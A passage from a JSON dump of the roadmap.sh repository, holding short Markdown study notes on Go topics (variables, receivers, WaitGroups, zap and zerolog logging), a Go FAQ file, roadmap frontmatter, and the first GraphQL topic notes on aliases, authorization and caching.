    "content": "# urfave/cli\n\nurfave/cli is a simple package for building command-line applications with intuitive API for commands, flags, and arguments. Features automatic help generation, bash completion, nested subcommands, and environment variable integration for lightweight CLI tools.\n\nVisit the following resources to learn more:\n\n- [@official@urfave/cli](https://cli.urfave.org/)\n- [@article@Building Command Line Tools in Go with urfave/cli](https://zetcode.com/golang/urfave-cli/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/using-3rd-party-packages@eBv3i2cNA7vc01jLAbB8m.md",
    "content": "# Using 3rd Party Packages\n\nImport external libraries using `go get package-url` which updates `go.mod`. Consider maintenance status, documentation, license, and security when choosing packages. Go modules handle version management and ensure reproducible builds.\n\nVisit the following resources to learn more:\n\n- [@article@Import and Use a Third-Party Package in Golang](https://thenewstack.io/import-and-use-a-third-party-package-in-golang/)\n- [@article@Using Third-Party Packages and Libraries in Golang](https://medium.com/@bramahendramahendra1/using-third-party-packages-and-libraries-in-golang-efbf0046f574)"
  },
  {
    "path": "src/data/roadmaps/golang/content/value-receivers@99a4irV044ybZN-boMgHv.md",
    "content": "# Value Receivers\n\nMethods receive copy of struct rather than pointer. Use `func (v Type) methodName()` syntax. Appropriate when method doesn't modify receiver or struct is small. Can be called on both values and pointers with Go automatically dereferencing.\n\nVisit the following resources to learn more:\n\n- [@official@Value Receivers](https://go.dev/tour/methods/8)\n- [@article@Understanding Value and Pointer Receivers in Go Interfaces](https://afdz.medium.com/understanding-value-and-pointer-receivers-in-go-interfaces-e97a824fdded)\n- [@article@Go Method Receivers: Understanding Value vs. Pointer and When to Use](https://blog.stackademic.com/go-method-receivers-understanding-value-vs-pointer-and-when-to-use-each-74ef82d66a5c)"
  },
  {
    "path": "src/data/roadmaps/golang/content/var-vs-@pJUkMcrUvcxuR_w89-eEq.md",
    "content": "# var vs :=\n\nTwo variable declaration methods: `var` allows explicit types and package-level declarations, `:=` provides type inference and requires initialization (function-only). Choose based on context and type specification needs. \n\nVisit the following resources to learn more:\n\n- [@official@Shorthand Assignment](https://go.dev/tour/basics/10)\n- [@official@Var Assignment](https://go.dev/tour/basics/8)\n- [@article@How To Use Variables and Constants in Go](https://www.digitalocean.com/community/tutorials/how-to-use-variables-and-constants-in-go)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/var-vs@pJUkMcrUvcxuR_w89-eEq.md",
    "content": "# var vs :=\n\nGo provides two main ways to declare variables: using `var` and using the short declaration operator `:=`.\n\nThe `var` keyword is used for explicit variable declarations. You can use it to define a variable with or without assigning a value. If no value is provided, Go assigns a default _zero value_ based on the variable type. `var` can be used both inside and outside functions.\n\nThe `:=` syntax is a shorthand for declaring and initializing a variable. It infers the type from the value and can only be used **inside functions**. This is a quick and convenient way to create variables without explicitly mentioning their types.\n\nVisit the following resources to learn more:\n\n- [@official@Go Tour: Short variable declarations](https://go.dev/tour/basics/10)\n- [@official@Go Specification: Short Variable Declarations](https://go.dev/ref/spec#Short_variable_declarations)"
  },
  {
    "path": "src/data/roadmaps/golang/content/variables--constants@BZKSsTgm28WV4nA74NYHO.md",
    "content": "# Variables & Constants\n\nVariables store changeable values declared with `var` or `:=` (short declaration). Constants store unchangeable values declared with `const`. Variables can be explicitly typed or use type inference. Constants must be compile-time determinable. Both support block declarations and package/function scope.\n\nVisit the following resources to learn more:\n\n- [@official@Shorthand Assignment](https://go.dev/tour/basics/10)\n- [@official@Var Assignment](https://go.dev/tour/basics/8)\n- [@article@How To Use Variables and Constants in Go](https://www.digitalocean.com/community/tutorials/how-to-use-variables-and-constants-in-go)"
  },
  {
    "path": "src/data/roadmaps/golang/content/variadic-functions@MUJfa0jIL_S_b2ndNpVVw.md",
    "content": "# Variadic Functions\n\nFunctions accepting variable number of arguments of same type. Syntax: `func name(args ...Type)`. Arguments treated as slice inside function. Call with multiple args or slice with `...` operator. Common in functions like `fmt.Printf()` and `append()`.\n\nVisit the following resources to learn more:\n\n- [@article@Unpacking Go Variadic Functions: Clever Ways to Use Them](https://dev.to/shrsv/unpacking-go-variadic-functions-clever-ways-to-use-them-4p25)\n- [@article@How To Use Variadic Functions in Go -](https://www.digitalocean.com/community/tutorials/how-to-use-variadic-functions-in-go)"
  },
  {
    "path": "src/data/roadmaps/golang/content/waitgroups@amqOwSgVFDymAsDIobwiK.md",
    "content": "# WaitGroups\n\nSynchronization primitive from sync package for waiting on multiple goroutines to complete. Use `Add()` to increment counter, `Done()` when goroutine finishes, `Wait()` to block until counter reaches zero. Essential for coordinating goroutine completion in concurrent programs.\n\nVisit the following resources to learn more:\n\n- [@article@WaitGroup in Go - How and when to use WaitGroup](https://medium.com/@dmytro.misik/waitgroup-in-go-df8f068e646f)\n- [@article@Mastering Concurrency in Golang](https://thelinuxcode.com/mastering-concurrency-in-golang-a-deep-dive-into-the-waitgroup/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/web-development@CwGw3CDVLqErQGTwjzhmL.md",
    "content": "# Web Development\n\nExcellent for web development with built-in HTTP server support, efficient concurrency, rich ecosystem. Standard `net/http` package provides powerful tools for servers, requests/responses, RESTful APIs. Performance, simple deployment (single binary), and concurrency make it ideal for scalable web apps.\n\nVisit the following resources to learn more:\n\n- [@official@http package](https://pkg.go.dev/net/http)\n- [@article@net/http package in Go](https://medium.com/@emonemrulhasan35/net-http-package-in-go-e178c67d87f1)\n- [@article@Mastering Concurrency in Golang](https://thelinuxcode.com/mastering-concurrency-in-golang-a-deep-dive-into-the-waitgroup/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/why-generics@9EdDI0vJaEmz3XxXMrpX9.md",
    "content": "# Why Generics?\n\nIntroduced in Go 1.18 to solve code duplication when working with multiple types. Before generics: separate functions per type, empty interfaces (losing type safety), or code generation. Enable type-safe, reusable code maintaining compile-time checking.\n\nVisit the following resources to learn more:\n\n- [@official@Generics](https://go.dev/doc/tutorial/generics)\n- [@article@A walkthrough of type constraints in Go](https://simonklee.dk/type-constraints)\n- [@article@Mastering Type Assertion in Go](https://medium.com/@jamal.kaksouri/mastering-type-assertion-in-go-a-comprehensive-guide-216864b4ea4d)"
  },
  {
    "path": "src/data/roadmaps/golang/content/why-use-go@4PrkkoZ5fY-oow0O-bVhu.md",
    "content": "# Why use Go\n\nGo offers exceptional performance with single binary deployment, built-in concurrency, fast compilation, and comprehensive standard library. Simple language that's easy to learn and maintain. Excels at web services, microservices, CLI tools, and system software.\n\nVisit the following resources to learn more:\n\n- [@official@Why Go - The Go Programming Language](https://go.dev/solutions/)\n- [@article@Why Go: The benefits of Golang](https://medium.com/@julienetienne/why-go-the-benefits-of-golang-6c39ea6cff7e)\n- [@article@What Is Golang Used For? 7 Examples of Go Applications](https://trio.dev/what-is-golang-used-for/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/with-maps--slices@oAvCO3GOKktkbmPahkPlT.md",
    "content": "# Pointers with Maps & Slices\n\nMaps and slices are reference types - passing them to functions doesn't copy underlying data. Modifications inside functions affect original. No need for explicit pointers. However, reassigning the slice/map variable itself won't affect caller unless using pointer.\n\nVisit the following resources to learn more:\n\n- [@official@Maps](https://go.dev/blog/maps)\n- [@official@Pointers](https://go.dev/tour/moretypes/1)\n- [@article@Slice Arrays Correctly](https://labex.io/tutorials/go-how-to-slice-arrays-correctly-418936)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/worker-pools@z8ItWHAupaastLcXY3npY.md",
    "content": "# Worker Pools\n\nConcurrency pattern using fixed number of goroutines to process tasks from shared queue. Controls resource usage while maintaining parallelism. Typically implemented with buffered channels for task distribution and WaitGroups for synchronization. Ideal for CPU-bound tasks and rate limiting.\n\nVisit the following resources to learn more:\n\n- [@article@GO: How to Write a Worker Pool](https://dev.to/justlorain/go-how-to-write-a-worker-pool-1h3b)\n- [@article@Efficient Concurrency in Go: A Deep Dive into the Worker Pool](https://rksurwase.medium.com/efficient-concurrency-in-go-a-deep-dive-into-the-worker-pool-pattern-for-batch-processing-73cac5a5bdca)"
  },
  {
    "path": "src/data/roadmaps/golang/content/wrappingunwrapping-errors@s2WlOMMKNXf6O2Qiqcm_m.md",
    "content": "# Wrapping/Unwrapping Errors\n\nCreate error chains preserving original errors while adding context using `fmt.Errorf()` with `%w` verb. Use `errors.Unwrap()`, `errors.Is()`, and `errors.As()` to work with wrapped errors. Enables rich error contexts for easier debugging.\n\nVisit the following resources to learn more:\n\n- [@article@Golang: error wrapping / unwrapping](https://medium.com/@vajahatkareem/golang-error-wrapping-multierror-759d04bdbfaf)\n- [@article@Error Wrapping in Go - Go Error Handling Example](https://go-cookbook.com/snippets/error-handling/error-wrapping)"
  },
  {
    "path": "src/data/roadmaps/golang/content/zap@4D8QsZVAUB9vGbVFgRHt4.md",
    "content": "# Zap\n\nZap is a high-performance structured logging library by Uber offering both structured and printf-style APIs. Features include JSON/console formats, configurable levels, sampling, and production-optimized performance through careful memory management.\n\nVisit the following resources to learn more:\n\n- [@official@zap package - go.uber.org/zap](https://pkg.go.dev/go.uber.org/zap)\n- [@article@A Comprehensive Guide to Zap Logging in Go](https://betterstack.com/community/guides/logging/go/zap/)\n- [@article@Structured Logging in Golang with Zap](https://codewithmukesh.com/blog/structured-logging-in-golang-with-zap/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/zero-values@QWixUXjC8YG-i1gsKVY1v.md",
    "content": "# Zero Values\n\nDefault values for uninitialized variables: `0` for numbers, `false` for booleans, `\"\"` for strings, `nil` for pointers/slices/maps. Ensures predictable initial state and reduces initialization errors. Fundamental for reliable Go code.\n\nVisit the following resources to learn more:\n\n- [@official@Zero Values](https://go.dev/tour/basics/12)\n- [@article@Golang Zero Values (0 and Beyond)](https://golangprojectstructure.com/default-zero-values-in-go-code/)\n- [@article@Zero Values in Golang](https://www.scaler.com/topics/golang/golang-zero-values/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/zerolog@TR7N68_evDMu3qWHbGJcz.md",
    "content": "# Zerolog\n\nZerolog is a zero-allocation JSON logger focusing on performance and simplicity. Provides structured logging with fluent API, various log levels, and no memory allocations during operations, making it ideal for high-throughput production applications.\n\nVisit the following resources to learn more:\n\n- [@official@zerolog package](https://pkg.go.dev/github.com/rs/zerolog)\n- [@article@A Complete Guide to Logging in Go with Zerolog](https://betterstack.com/community/guides/logging/zerolog/)\n- [@article@Zerolog Golang - Complete Guide to Logging](https://signoz.io/guides/zerolog-golang/)"
  },
  {
    "path": "src/data/roadmaps/golang/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../components/FAQs/FAQs.astro';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'Do Go and Golang refer to the same language?',\n    answer: [\n      'Go and Golang refer to the same programming language, yes. Although the official name is Go, the term Golang has become a popular nickname since the language was created back in 2009.',\n      'That said, both terms are used interchangeably in the industry, and developers around the world recognize them as representing the same open-source programming language that emphasizes efficiency, scalability, and simplicity.',\n      'Also, it doesn\\'t hurt to have a longer, less common word when it comes to trying to find information online about the language (as you can probably guess, searching for \"go\" would not return the most relevant results immediately).',\n    ],\n  },\n  {\n    question: 'Is Go difficult to learn?',\n    answer: [\n      'Go is not difficult to learn, in fact, by design it was built with simplicity in mind, featuring a minimalistic and clear syntax that reduces the learning curve.',\n      'Its mature and extensive standard library and built-in garbage collector contribute to making the language accessible to developers regardless of their skill levels. Although every new programming language requires some adjustment, many find that Go is less challenging to learn compared to more complex alternatives.',\n      'Of course, all of that changes if you\\'re coming into the language without any prior programming knowledge, in that case, you have to learn Go, and other core programming concepts like memory access, data structures, etc. In this scenario, the difficulty would increase considerably.',\n    ],\n  },\n  {\n    question: 'Is Golang good for beginners?',\n    answer: [\n      'Golang is good for beginners, in fact, it\\'s considered to be an excellent starting point for those who are entering the world of software development.',\n      'Its straightforward syntax and robust standard library provide a clear framework that allows new programmers to focus on understanding essential coding concepts without being overwhelmed by unnecessary complexity.',\n      'The language is designed to help developers quickly understand how to use it, and this makes Golang an attractive option for those new to programming, as it balances ease of learning with the potential for working on advanced projects.',\n      'Finally, the existing resources, including tutorials, documentation, and community forums, provide support for beginners in their journey toward becoming skilled Go developers.',\n    ],\n  },\n  {\n    question: 'Is it still worth learning Go?',\n    answer: [\n      'Learning Go is still very much worth your time, especially if you\\'re interested in building efficient and scalable services.',\n      'The language\\'s growing adoption (going from barely 10% of professional usage in 2021 according to StackOverflow\\'s survey, to almost 15% in 2024), especially around building scalable backend services, microservices, and performance systems proves that Go is not only still relevant but that its relevance in the industry is in continuous growth.',\n    ],\n  },\n  {\n    question: 'Is Golang backend or frontend?',\n    answer: [\n      'Golang is a backend language designed for building server-side applications and services. Its strengths lie in efficiently handling concurrent operations and high-throughput workloads, making it an excellent choice for developing APIs, microservices, and scalable systems.',\n      'While Golang is not typically used for frontend development, its role in creating reliable and performance backend services is crucial for supporting full-stack projects. And while not considered a \"core\" technology for web development, there are Golang frameworks such as Iris or Beego that allow developers to create fullstack apps.',\n      'That said, to increase the gap and prove that Go is a backend language, its design focuses on resource management and robust support for network operations, which are essential for ensuring that backend services perform well under heavy loads.',\n    ],\n  },\n  {\n    question: 'Is Golang developer a high-paying role?',\n    answer: [\n      'Golang developer is a very high-paying role when compared to others, such as JavaScript devs for example.',\n      'The role of a Golang developer is often associated with competitive salaries due to its efficiency and scalability, which are highly valued in large enterprise projects.',\n      'As businesses continue to invest in backend services and platform development, the need for skilled Golang developers grows. This demand is reflected in the career prospects and remuneration offered in this field, making it a lucrative option for software engineers who specialize in the Go language and its modern development practices.',\n      'According to Glassdor, an entry-level Go developer role in the United States pays on average 90,000 USD, and it can go up to 200,000 USD for developers with more than 10 years of experience.',\n    ],\n  },\n  {\n    question: 'Is Golang used in AI?',\n    answer: [\n      'Golang is not used in AI as much as other languages such as Python. While it is not the primary language used in artificial intelligence, it does have applications within the AI ecosystem.',\n      'Python remains the dominant language in AI and machine learning due to its extensive libraries and frameworks that are specifically designed for data science. However, Golang is sometimes employed to build performance backends that support AI applications.',\n      'Its efficient execution, concurrency model, and built-in garbage collection make it suitable for developing projects that require rapid processing and robust performance.',\n      'In this way, while Golang is not part of the main AI stack, it can still serve as a critical component in a larger AI architecture, handling tasks that demand scalability and efficient resource management.',\n    ],\n  },\n  {\n    question: 'Is Golang better than Python?',\n    answer: [\n      'Golang is not intrinsically better than Python, just like any other language is not better than any available alternative. This is because when we\\'re comparing programming languages, we need to add context to that comparison to understand how those languages are going to be used, what systems are they going to be running in, and many other questions that you need to ask before emitting judgment.',\n      'That said, if we\\'re trying to compare apples to apples, then we gotta think that comparing Golang and Python involves evaluating the specific strengths and applications of each language.',\n      'Golang is designed for efficiency, concurrency, and robust system-level programming, making it ideal for building scalable backend services and high-efficiency tools. Its straightforward syntax and built-in features enable developers to create optimized applications. Python, on the other hand, excels in rapid prototyping, data science, and machine learning, thanks to its extensive libraries and ease of use for complex analytical tasks.',\n      'The decision on whether Golang is better than Python depends on the project requirements (that \"context\" we mentioned before): Go may be preferable for building concurrent, performant services, while Python is often chosen for its flexibility in scientific computing and AI development. More here: [Go vs Python compared](https://roadmap.sh/golang/vs-python).',\n    ],\n  },\n  {\n    question: 'Is Go better than JavaScript?',\n    answer: [\n      'Go outperforms JavaScript in terms of execution efficiency, but the two languages generally serve distinct purposes, making a direct comparison difficult.',\n      'Go is tailored for backend work, where its focus on performance, concurrency, and scalability addresses the needs of complex server-side applications.',\n      'JavaScript, on the other hand, is the cornerstone of frontend development and one of the leaders of the backend, enabling the creation of interactive websites and dynamic user interfaces.',\n      'The strengths of each language lie in their respective domains, so the choice between Go and JavaScript depends largely on the specific needs of the project, the previous expertise of the team.',\n    ],\n  },\n  {\n    question: 'Is Golang as fast as C++?',\n    answer: [\n      'Golang is not as fast as C++. While Golang is, indeed, engineered for efficiency and performance, offering an amazing speed for many applications, it can\\'t match the raw speed achieved by a lower-level language such as C++.',\n      'Generally speaking, C++ excels in raw speed and low-level control over system resources, making it the preferred choice for scenarios requiring maximum efficiency. However, this comes at the cost of complexity, as lower-level languages offer fewer abstraction layers compared to higher-level ones like Go. In the end, it\\'s all about trade-offs.',\n      'Despite this, Golang strikes an excellent balance between efficiency and ease of development, which is a notable achievement for a high-level language.',\n      'Its built-in garbage collection, clear syntax, and comprehensive standard library make it a practical alternative for developers who seek a more accessible yet high-performing programming language.',\n      'This balance allows Golang to provide competitive performance for most modern software development needs while avoiding the steep learning curve and complexity associated with C++.',\n    ],\n  },\n  {\n    question: 'Is Go better than Rust?',\n    answer: [\n      'Go is not better than Rust, nor is Rust intrinsically better than Go. If you think about it, neither Go nor Rust is universally better. Each has its own set of strengths, coming into their own under different circumstances.',\n      'For instance, Go, with its crisp, simple syntax and a suite of built-in tools, is great for fast problem solving. Its design, simple and avoiding complexity at all costs, allows teams to adopt it for service deployment and efficient code resolution.',\n      'On the other side you have Rust, which merits its own place in the podium for its focus on memory safety and detailed control over system resources. Its lower abstraction level (Rust is closer to the machine) explains its steeper learning curve, however, that also makes it a more challenging technology to pick up.',\n      'In the end, the choice between Go and Rust reflects the specific needs of a project and the unique expertise of a team. For those seeking rapid, straightforward development, Go might be the path forward; and for applications where granular control and increased efficiency are paramount, Rust could very well be the preferred tool.',\n    ],\n  },\n  {\n    question: 'Does Golang work on Windows?',\n    answer: [\n      'Golang works on Windows without any issues. The language is designed to extend across multiple operating systems, including the main three: Windows, Linux, and macOS.',\n      'Its robust built-in functions allow developers to compile and run applications on Windows without needing to change much of the underlying code.',\n      'This cross-platform capability means that whether you\\'re working on a small job or a large-scale project, you can use Golang to solve pretty much any challenges.',\n      'Developers can easily manage file operations and use logging features to tag errors or important events, ensuring that the application behaves consistently across different environments. It is a very versatile language.',\n      'In the end, Golang\\'s support on Windows makes it a practical choice for those looking to build performant and reliable software.',\n    ],\n  },\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/golang/golang.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"6AIUtChWC_gK8Ax0UuBjd\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -270.4421681530645,\n        \"y\": 4436.848821438938\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"f5WRewBlpeYMf71cPcXs-\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -270.4421681530645,\n        \"y\": 4436.848821438938\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": []\n}"
  },
  {
    "path": "src/data/roadmaps/golang/golang.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/golang.json'\npdfUrl: '/pdfs/roadmaps/golang.pdf'\norder: 11\nbriefTitle: 'Go'\nrenderer: 'editor'\nbriefDescription: 'Step by step guide to becoming a Go developer in 2025'\ntitle: 'Go Developer'\ndescription: 'Step by step guide to becoming a Go developer in 2025'\nhasTopics: true\ndimensions:\n  width: 968\n  height: 4275\nquestion:\n  title: What is Golang?\n  description: |\n    Golang is an open-source programming language developed at Google by developers like Rob Pike. As an interesting trivia fact, Golang is often referred to as \"the go language\".\n\n    The design philosophy behind Golang revolves around the concepts of simplicity, efficiency, and performance, making it a great tool for software development. In fact, Go code is compiled, meaning that it needs to be translated into machine code before execution making it run much faster than scripting/interpreted code.\n\n    As far as programming languages go, Golang comes out of the box with a mature standard library (meaning it's capable of doing pretty much anything you want without needing extra modules) and a clean syntax that focuses on clarity. Golang is designed to provide an efficient programming environment with built-in garbage collection and strong support for concurrent programming, which is essential if you're building complex systems and scalable services.\n\n    ## What is Golang used for?\n\n    Golang is used for backend development and platform programming, especially in scenarios that demand efficiency and scalability.\n    Given its design principles, this language is perfect for creating microservices, APIs, and other server-side applications that demand stable operations and proper resource management. The language has a very powerful concurrency model, making it intuitive and well-suited for developing software that can handle large-scale data processing and network operations.\n\n    Companies, especially those based in tech hubs like San Francisco and New York (such as Uber, Dropbox, Trivago and others), use Golang to build scalable and very performant services that integrate well with other technologies and provide the high-performing backend they need. Enabling a smooth process from start to finish.\n\n    ## What does a Go developer do?\n\n    A Go developer creates powerful and scalable backend services using the Go language.\n\n    Their role involves writing, testing, and maintaining code for integration systems (taking information from one system and sending it into another one), building RESTful microservices, and other types of backend (or server-side) solutions.\n\n    They do this by leveraging Golang's unique constructs and features to structure programs effectively. Beyond this, one of the major tasks for Go developers is to focus on optimizing code efficiency, developing K8 operators, and building small dev tools. In other words, short of frontend development, Go devs can build pretty much anything.\n\n    ## What skills does a Go developer need?\n\n    A Go developer needs a deep understanding of both fundamental programming concepts and the unique features of Golang. \n    They should, obviously, be well-versed in the language itself,  managing pointers, as well as understanding how to use its mature standard library.\n\n    An expert Go developer in this field must understand garbage collection and how to optimize code for high performance and scalability given how these are major design pillars for Go.\n\n    On top of that, familiarity with testing frameworks and debugging tools is also essential to ensure that applications are both reliable and efficient. Many companies assess these skills during interviews by asking a variety of [Golang interview questions](https://roadmap.sh/questions/golang) that explore topics like concurrency, data structures, and the integration of Golang with other languages and technologies.\n\n    The role requires a strong foundation in software development practices (i.e. version control, code smells, unit testing, etc) as well as a willingness to continuously learn and adapt to new tools and techniques to survive in the constantly evolving tech environment.\nschema:\n  headline: 'Go Developer Roadmap'\n  description: 'Learn how to become a Go Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/golang.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Learn to become a Go developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for Go development. Learn to become a modern Go developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a golang developer'\n    - 'guide to becoming a go developer'\n    - 'golang developer'\n    - 'go developer'\n    - 'guide to golang'\n    - 'guide to go'\n    - 'golang roadmap'\n    - 'golang roadmap 2025'\n    - 'go roadmap'\n    - 'go roadmap 2025'\n    - 'golang skills'\n    - 'go skills'\n    - 'golang skills test'\n    - 'go skills test'\n    - 'skills for golang'\n    - 'skills for go'\n    - 'cloud development'\n    - 'what is golang'\n    - 'what is go'\n    - 'golang quiz'\n    - 'go quiz'\n    - 'golang interview questions'\n    - 'go interview questions'\nrelatedRoadmaps:\n  - 'backend'\n  - 'devops'\n  - 'python'\n  - 'java'\n  - 'javascript'\n  - 'nodejs'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/graphql/content/aliases@B77yLU4SuRChSjEbmYwc-.md",
    "content": "# Aliases\n\nAliases in GraphQL rename fields in query responses, useful when requesting the same field multiple times with different arguments or when field names aren't suitable for client usage. They distinguish fields in responses and improve query readability and usability.\n\nVisit the following resources to learn more:\n\n- [@official@What are GraphQL Aliases?](https://graphql.org/learn/queries/#aliases)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/apollo-client@D5O7ky5eXwm_Ys1IcFNaq.md",
    "content": "# Apollo Client\n\nApollo Client is a popular GraphQL client library for JavaScript that provides data fetching, caching, and state management. It offers declarative data fetching with React hooks, intelligent caching, optimistic UI updates, and error handling for building efficient GraphQL-powered applications.\n\nVisit the following resources to learn more:\n\n- [@article@Why Apollo Client - Frontend?](https://www.howtographql.com/react-apollo/0-introduction/)\n- [@feed@Explore top posts about Apollo](https://app.daily.dev/tags/apollo?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/apollo-server@o_VkyoN6DmUUkfl0u0cro.md",
    "content": "# Apollo Server\n\nApollo Server is a popular open-source library for building GraphQL servers in JavaScript. It provides tools for parsing, validating, executing resolvers, and formatting responses with built-in features for authentication, authorization, data validation, and real-time subscriptions.\n\nVisit the following resources to learn more:\n\n- [@article@Apollo Tutorial - Introduction](https://www.howtographql.com/react-apollo/0-introduction/)\n- [@feed@Explore top posts about Apollo](https://app.daily.dev/tags/apollo?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/arguments@A54vi3Ao7fBHyTuqoH_it.md",
    "content": "# Arguments\n\nArguments in GraphQL are values passed to fields in queries and mutations to filter or modify returned data. They're defined in the schema with a name, type, and optional default value, enabling dynamic data retrieval.\n\nVisit the following resources to learn more:\n\n- [@official@Get started with Arguments in GraphQL](https://graphql.org/learn/schema/#arguments)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/arguments@hrpb108R8Gyu3hhzkMYzL.md",
    "content": "# Arguments\n\nArguments in GraphQL are values passed to fields or directives to specify execution details like filtering, sorting, pagination, or configuration options. They're passed as key-value pairs, can be defined as variables, and may be optional or required depending on the field definition.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL - Arguments](https://graphql.org/learn/queries/#arguments)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/asynchronous@tbDvQBtLRAcD-xYX9V7Va.md",
    "content": "# Asynchronous\n\nAsynchronous resolvers in GraphQL are functions that return promises instead of immediate values. They allow resolvers to wait for external operations like database queries or API calls to complete before returning results, enabling non-blocking execution.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with Asynchronous](https://graphql.org/learn/execution/#asynchronous-resolvers)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/authorization@G50ZMlmP7Ru5LcFne5Rhu.md",
    "content": "# Authorization\n\nAuthorization in GraphQL controls access to data and operations based on user permissions and roles. It can be implemented at the schema level, field level, or within resolvers, ensuring users only access data they're permitted to see through various authentication and permission strategies.\n\nThere are several ways to implement authorization in GraphQL:\n\n*   Using middleware\n*   Using schema directives\n*   Using a data source layer\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with Authorization](https://graphql.org/learn/authorization/)\n- [@feed@Explore top posts about Authorization](https://app.daily.dev/tags/authorization?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/authorization@GzwPvLybxTJM96fUhQUOi.md",
    "content": "# Authorization\n\nAuthorization in GraphQL refers to the process of controlling access to specific fields, types, or operations in a GraphQL schema based on user roles or permissions. It allows you to restrict access to certain data or functionality in your application based on the user's role or permissions.\n\nThere are several ways to implement authorization in GraphQL:\n\n*   Using middleware\n*   Using schema directives\n*   Using a data source layer\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with Authorization](https://graphql.org/learn/authorization/)\n- [@feed@Explore top posts about Authorization](https://app.daily.dev/tags/authorization?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/authorization@i-zcfN6RNXhA_sb7DcIon.md",
    "content": "# Authorization\n\nAuthorization in GraphQL refers to the process of controlling access to specific fields, types, or operations in a GraphQL schema based on user roles or permissions. It allows you to restrict access to certain data or functionality in your application based on the user's role or permissions.\n\nThere are several ways to implement authorization in GraphQL:\n\n*   Using middleware\n*   Using schema directives\n*   Using a data source layer\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with Authorization](https://graphql.org/learn/authorization/)\n- [@feed@Explore top posts about Authorization](https://app.daily.dev/tags/authorization?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/batching@v9gVexHfDkpG9z3NL5S-9.md",
    "content": "# Batching\n\nBatching in GraphQL combines multiple queries into a single request to reduce network overhead and improve performance. DataLoader is a common pattern that batches and caches database requests, preventing N+1 query problems and optimizing data fetching efficiency.\n\nVisit the following resources to learn more:\n\n- [@opensource@DataLoader](https://github.com/graphql/dataloader)\n- [@article@Solving the N+1 Problem](https://shopify.engineering/solving-the-n-1-problem-for-graphql-through-batching)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/caching@UYwuUVTeurwODV4_Kdt_W.md",
    "content": "# Caching\n\nCaching in GraphQL improves performance by storing query results for reuse. Strategies include HTTP caching, response caching, dataloader for batching requests, and normalized caching at the client level to reduce redundant API calls and improve user experience.\n\nThere are several types of caching that can be used in GraphQL:\n\n*   Client-side caching\n*   Server-side caching\n*   CDN caching\n\nVisit the following resources to learn more:\n\n- [@official@Get started with Caching](https://graphql.org/learn/caching/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/defer--stream-directives@t6XxFB_lx27kS4FE2_GMH.md",
    "content": "# Defer & Stream Directives\n\nDefer and Stream directives are experimental GraphQL features for incremental data delivery. @defer postpones non-critical fields to improve initial response times, while @stream sends list items progressively, enabling better user experiences with large datasets and slow-loading fields.\n\nVisit the following resources to learn more:\n\n- [@article@Defer and Stream in GraphQL](https://the-guild.dev/graphql/yoga-server/docs/features/defer-stream)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/directives@MnmwccPahqPCzOhqjfbsY.md",
    "content": "# Directives\n\nDirectives in GraphQL modify query execution by adding behavior or validation to fields, operations, and fragments. They can take arguments to configure behavior and include built-in directives like @include and @skip, or custom ones defined by developers for specific functionality.\n\nVisit the following resources to learn more:\n\n- [@official@Directives in GraphQL](https://graphql.org/learn/queries/#directives)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/enums@wfOsfb0zSAIdNkwFHfBcw.md",
    "content": "# Enums\n\nEnums (enumeration types) are special scalars restricted to a particular set of allowed values. They validate arguments against allowed values and communicate through the type system that fields will always be one of a finite set of predefined options.\n\nVisit the following resources to learn more:\n\n- [@official@What are Enums?](https://graphql.org/learn/schema/#enumeration-types)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/event-based-subscriptions@kJMyRhasBKfBypent3GxK.md",
